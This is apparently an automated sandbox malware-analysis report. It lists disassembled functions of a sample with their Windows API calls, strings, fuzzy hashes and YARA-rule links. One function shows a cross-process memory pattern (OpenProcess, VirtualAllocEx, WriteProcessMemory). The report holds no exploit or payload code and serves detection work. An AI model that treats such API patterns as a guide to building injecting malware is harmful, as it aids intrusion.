Opcode Fuzzy Hash: bc6b1fe7330931fd93a8034fbcfb013786a95774c75fce2783ed70b2b25476a6
Instruction Fuzzy Hash: 29016270602224BFDB204FA6EC88E6F7BACEF867557200429F854D2220DB71CD14CA70

Function 00C3566C Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C35688
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C35696
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C3569E
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00C356A8
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C356E4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: ad04ba3625abdbadc91297dce4391999f8e63fc786f63b3798d7368a47f941ed
Instruction ID: a50044e2929060c54747c8f6f44c729104ed8fb7c32947c5be2f49b4e697f775
Opcode Fuzzy Hash: ad04ba3625abdbadc91297dce4391999f8e63fc786f63b3798d7368a47f941ed
Instruction Fuzzy Hash: 1E012931E12A19DBCF10AFE5DD4ABEEBBB8FB09711F500456E915B2250CB7095508BA1

Function 00C27B0B Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?,?,00C27E56), ref: 00C27B28
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?), ref: 00C27B43
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?), ref: 00C27B51
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?), ref: 00C27B61
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C27A45,80070057,?,?), ref: 00C27B6D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 89beac1282c9a9a52b5b9a49a92b117f3bce771b9025aac8a55e498e8199adf7
Instruction ID: ba710097ee8e02ffb2d83856855c36975f41c88d3fef32f5df963b4c7717f13a
Opcode Fuzzy Hash: 89beac1282c9a9a52b5b9a49a92b117f3bce771b9025aac8a55e498e8199adf7
Instruction Fuzzy Hash: 5E017176605224BBDB258F65EC88BAE7BADEF48752F200128F904E3210E771DD40CBA0

Function 00C28AAA Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00C28AC1
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00C28ACB
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00C28ADA
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00C28AE1
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00C28AF7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 1c7d55f54aad734e6d522a92e98045ad61bd9c282a62c30929085b6316f60e45
Instruction ID: 099f134657f48aafde49427f17163f978b16d4a1157116510d1a133c55bf52ec
Opcode Fuzzy Hash: 1c7d55f54aad734e6d522a92e98045ad61bd9c282a62c30929085b6316f60e45
Instruction Fuzzy Hash: 82F0AF70201214AFEB200FA6AC8DF6B3BACEF4A759B204029F904D2150CEA19C04DB60

Function 00C28B0B Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00C28B22
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B2C
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B3B
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B42
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00C28B58

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 30581ae7d04a959d0ad814c2eb7abfea5ffe0528e1da2c54ed9fe3f996d455bd
Instruction ID: 453749a5f742fd2232aac764d3ad4f57025813faf74187fbd99e40e1f6aa03d1
Opcode Fuzzy Hash: 30581ae7d04a959d0ad814c2eb7abfea5ffe0528e1da2c54ed9fe3f996d455bd
Instruction Fuzzy Hash: B7F0AF71201224AFEB210FA6EC88F6B3BACEF4A755B200029FA04D6150DAA19904DB60

Function 00C2CB5F Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00C2CB73
GetWindowTextW.USER32(00000000,?,00000100), ref: 00C2CB8A
MessageBeep.USER32(00000000), ref: 00C2CBA2
KillTimer.USER32(?,0000040A), ref: 00C2CBBE
EndDialog.USER32(?,00000001), ref: 00C2CBD8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: d59d8b8fbbad0d9ed1172250fbfd07cd3d2349863894bf34438dca171bc88931
Instruction ID: 40fd69a07da71cac73fb8bfaba7c6a12ba4813c1bf314d1faca195497df7355d
Opcode Fuzzy Hash: d59d8b8fbbad0d9ed1172250fbfd07cd3d2349863894bf34438dca171bc88931
Instruction Fuzzy Hash: 51016234540718ABEB315B55ED8EFAA77B8FB00705F100A99F593614E1DBF0AA548E90

Function 00BD178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00BD179B
StrokeAndFillPath.GDI32(?,?,00C0BAF9,00000000,?), ref: 00BD17B7
SelectObject.GDI32(?,00000000), ref: 00BD17CA
DeleteObject.GDI32 ref: 00BD17DD
StrokePath.GDI32(?), ref: 00BD17F8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 2adb62520b3af27207e34723087b5055122c9c5ebc3cfc4cd4ed76c7743c6c9a
Instruction ID: 03967e314c9e82cef8b82d1e77a1e3ed345b0c72f10ef1d3c62783ad0baeb84d
Opcode Fuzzy Hash: 2adb62520b3af27207e34723087b5055122c9c5ebc3cfc4cd4ed76c7743c6c9a
Instruction Fuzzy Hash: 15F0E770005208EBDB215F2AED4CB5E7FE4EB01326F248656F829651F0D7B18996DF24

Function 00C3C847 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C3C8E2
CoCreateInstance.OLE32(00C63D3C,00000000,00000001,00C63BAC,?), ref: 00C3C8FA

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

CoUninitialize.OLE32 ref: 00C3CB67

Strings

.lnk, xrefs: 00C3C876, 00C3C89E, 00C3C8A8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 43af49dd164b5f0dd02a183a3c3065c9f9deb2a0aad872432b230c3e75d03d7d
Instruction ID: 9929bf50b2103715afdb156fc062202333cc8b94d46cdceda36bd66dd1e1c966
Opcode Fuzzy Hash: 43af49dd164b5f0dd02a183a3c3065c9f9deb2a0aad872432b230c3e75d03d7d
Instruction Fuzzy Hash: C8A13C71504205AFD300EF64C891EAFB7E8EF98718F10496DF155972A2EB70EE49CB92

Function 00BDE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00BF0F16: std::exception::exception.LIBCMT ref: 00BF0F4C
Part of subcall function 00BF0F16: __CxxThrowException@8.LIBCMT ref: 00BF0F61

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00BE1680: _memmove.LIBCMT ref: 00BE16DB

__swprintf.LIBCMT ref: 00BDE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00BDE431

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: f1936622f9a86dfadc47ea6f839582d24903095a48d06f11a2ed9de8307c6640
Instruction ID: 41103ee77cd5a5c13ea31ecb6c9bb22f4e3a2c65d9d3002e9eeb849fa5adf8b2
Opcode Fuzzy Hash: f1936622f9a86dfadc47ea6f839582d24903095a48d06f11a2ed9de8307c6640
Instruction Fuzzy Hash: DD91A0711086419FC714FF28C885CAEB7E4EF95304F50499EF5629B2A2EB30EE44CB92

Function 00BF516D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00BF51FD

Part of subcall function 00C00250: __87except.LIBCMT ref: 00C0028B

Strings

pow, xrefs: 00BF51D5, 00BF51F2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 12ec8bf1d577b2bed14c5eccdb769080ce7acdfaf875a232dcddd32c5ff7dda4
Instruction ID: 8d75c4c342080038546431c6d41787cffa7ca2d2d632e6c55bbf659dc3b2d816
Opcode Fuzzy Hash: 12ec8bf1d577b2bed14c5eccdb769080ce7acdfaf875a232dcddd32c5ff7dda4
Instruction Fuzzy Hash: 51517820908A0997DB327718CD4137E2BD4EB40740F318AA9E395871E6EF349EDCEA46

Function 00BF057F Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00BF05BB
#, xrefs: 00BF05C4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: ea1d797b995f3bf35881095f63a6fae06aa845717de493a9e7420fcb4faab0f5
Instruction ID: 9d704d3ca6295b74683d69de290cea80268908d55f6ba71b64155824f011773d
Opcode Fuzzy Hash: ea1d797b995f3bf35881095f63a6fae06aa845717de493a9e7420fcb4faab0f5
Instruction Fuzzy Hash: 9C51217510426A9FDF11AF28D4406BA77E4EF55310F2440A6FDA19B2A1CB30DE56CB70

Function 00BECF08 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BECFBE
_memmove.LIBCMT ref: 00BED05A
_memset.LIBCMT ref: 00BED07E

Strings

ERCP, xrefs: 00BECF29

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: cc05e553e8e897df9108f44657fddf2561f978bace286e0d26a0e69048fe66ff
Instruction ID: 046bbb80da0ecc42db0f45a6f28fcd2be14a2485920a5995e7a70da38827be00
Opcode Fuzzy Hash: cc05e553e8e897df9108f44657fddf2561f978bace286e0d26a0e69048fe66ff
Instruction Fuzzy Hash: 9A51D570900745DFDB24DF66C9817AAB7F4EF04314F2845AEE84ADB241E7B0DA45CB80

Function 00C2A190 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C31B27: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00C29C31,?,?,00000034,00000800,?,00000034), ref: 00C31B51

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00C2A1DA

Part of subcall function 00C31AF2: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00C29C60,?,?,00000800,?,00001073,00000000,?,?), ref: 00C31B1C

Part of subcall function 00C31A49: GetWindowThreadProcessId.USER32(?,?), ref: 00C31A74
Part of subcall function 00C31A49: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00C29BF5,00000034,?,?,00001004,00000000,00000000), ref: 00C31A84
Part of subcall function 00C31A49: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00C29BF5,00000034,?,?,00001004,00000000,00000000), ref: 00C31A9A

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00C2A247
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00C2A294

Strings

@, xrefs: 00C2A2AC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 85de23c5c480ba5aeca41c9afba8e8ef0811c33df93a9c2efcec5ad7498cce02
Instruction ID: f9fc4627ce789fe291f2596f502bdfb378920928be822611243663fef736dcd3
Opcode Fuzzy Hash: 85de23c5c480ba5aeca41c9afba8e8ef0811c33df93a9c2efcec5ad7498cce02
Instruction Fuzzy Hash: D9417D72901228BFCB10DFA4DC81FEEBBB8EB09300F104095FA55B7191DA71AE49DB61

Function 00C577C6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00C5784E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00C57862
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C57886

Strings

SysMonthCal32, xrefs: 00C57819

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: fc89d88be0e28ee27a15daf289c57feb474aa7ad37ec9a6ae65f41e143480f53
Instruction ID: dc5da81710f4dad72dff057b5ef97c685afed15fc14156b5a344ea4bf471366a
Opcode Fuzzy Hash: fc89d88be0e28ee27a15daf289c57feb474aa7ad37ec9a6ae65f41e143480f53
Instruction Fuzzy Hash: 8821AD36600218ABDF218F94DC46FEA3BB9EF88714F110214FE547B1D0D6B1AC94DBA0

Function 00C5709D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00C57128
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00C57138
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00C5715D

Strings

Listbox, xrefs: 00C570F5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 56e7c820d4b466e9e3b4faad32cd24ccc8d3bd5b0d9e38c81019d21c5e05e31a
Instruction ID: a6392088dabbe9850c4d8004f6243763105dd1cdda41deb5ce8f5067990fe20d
Opcode Fuzzy Hash: 56e7c820d4b466e9e3b4faad32cd24ccc8d3bd5b0d9e38c81019d21c5e05e31a
Instruction Fuzzy Hash: 8221FF32204108BFEF118F54DC85FBF3BBAEB89761F008224FE149B190C671AC958BA4

Function 00C57AFB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00C57B5F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00C57B74
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00C57B81

Strings

msctls_trackbar32, xrefs: 00C57B36

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 3c437207a1b10f0935e244055e9bd5f62f53aab494ab7e26113d847b0419dd99
Instruction ID: 5026890e9f281e4951da2f0a1fed115fe2990ebfd980d5af9ede7eab6b98a748
Opcode Fuzzy Hash: 3c437207a1b10f0935e244055e9bd5f62f53aab494ab7e26113d847b0419dd99
Instruction Fuzzy Hash: 4911C436244208BBDB205F61DC05FAB77A9EB88759F114219FA55A6090D271D891DB14

Function 00C4C4A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C101AA,?), ref: 00C4C4AF
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C4C4C1

Strings

kernel32.dll, xrefs: 00C4C4AA
GetSystemWow64DirectoryW, xrefs: 00C4C4BB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: a5bcea4faa8cdd6965e6b1b6a0b89f357b6979a1f107de9cd39c26d2edf8aede
Instruction ID: f8ab334baf1d797594254c28918d3a1999b421af3d084099d77278b780d3cde8
Opcode Fuzzy Hash: a5bcea4faa8cdd6965e6b1b6a0b89f357b6979a1f107de9cd39c26d2edf8aede
Instruction Fuzzy Hash: 87E0C276501B028FE7305B26C998B6B76D4BF14755B109839E89AE22B0D7B0C840C710

Function 00BE4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BE4AF7,?), ref: 00BE4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00BE4BCA

Strings

kernel32.dll, xrefs: 00BE4BB3
Wow64RevertWow64FsRedirection, xrefs: 00BE4BC4

Memory Dump Source

